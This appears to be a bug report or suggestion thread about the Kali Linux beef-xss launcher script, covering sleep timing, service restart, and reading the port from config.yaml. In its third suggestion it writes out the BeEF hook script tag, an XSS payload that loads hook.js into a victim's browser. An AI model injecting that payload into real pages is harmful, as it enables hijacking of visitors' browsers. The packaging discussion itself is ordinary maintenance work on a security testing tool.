The current beef-xss command which start the service and gives some feedback currently looks like this:

root@kali:~# cat /usr/bin/beef-xss 
#!/bin/bash

if [[ $EUID -ne 0 ]]; then
   echo "[*] This script must be run as root" 1>&2
   exit 1
fi

echo '[*] Please wait as BeEF services are started.'
echo '[*] You might need to refresh your browser once it opens.'
service beef-xss start
sleep 5
xdg-open http://127.0.0.1:3000/ui/panel

root@kali:~#

1. Sleep

I suggest that the delay is increased.
Current value: 5 seconds
I've had 'better' responses with a longer wait: 7-10 seconds

2. Service

Rather than just service beef-xss start, how about stopping it first, then starting or using service beef-xss restart instead?

3. Hook information

If you were to start beef like the follow:

root@kali:/usr/share/beef-xss# ./beef

You see information regarding the 'hook'. I suggest something like:

echo '[*] Hook: <script src="http://<IP>:<PORT>/hook.js"></script>'
echo '[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>'

4. [BUG] Not using port information

If you were to alter which port beef uses in '/usr/share/beef-xss/config.yaml' e.g (port: "3001"), the script is hardcoded to use 3000.

grep -e ' port:.*"' /usr/share/beef-xss/config.yaml | awk -F '"' '{print $2}'

root@kali:~# grep -e ' port:.*"' /usr/share/beef-xss/config.yaml | awk -F '"' '{print $2}'
3000
root@kali:~#    

For the record, I know 'awk' is slower than other commands and theres better bash fu
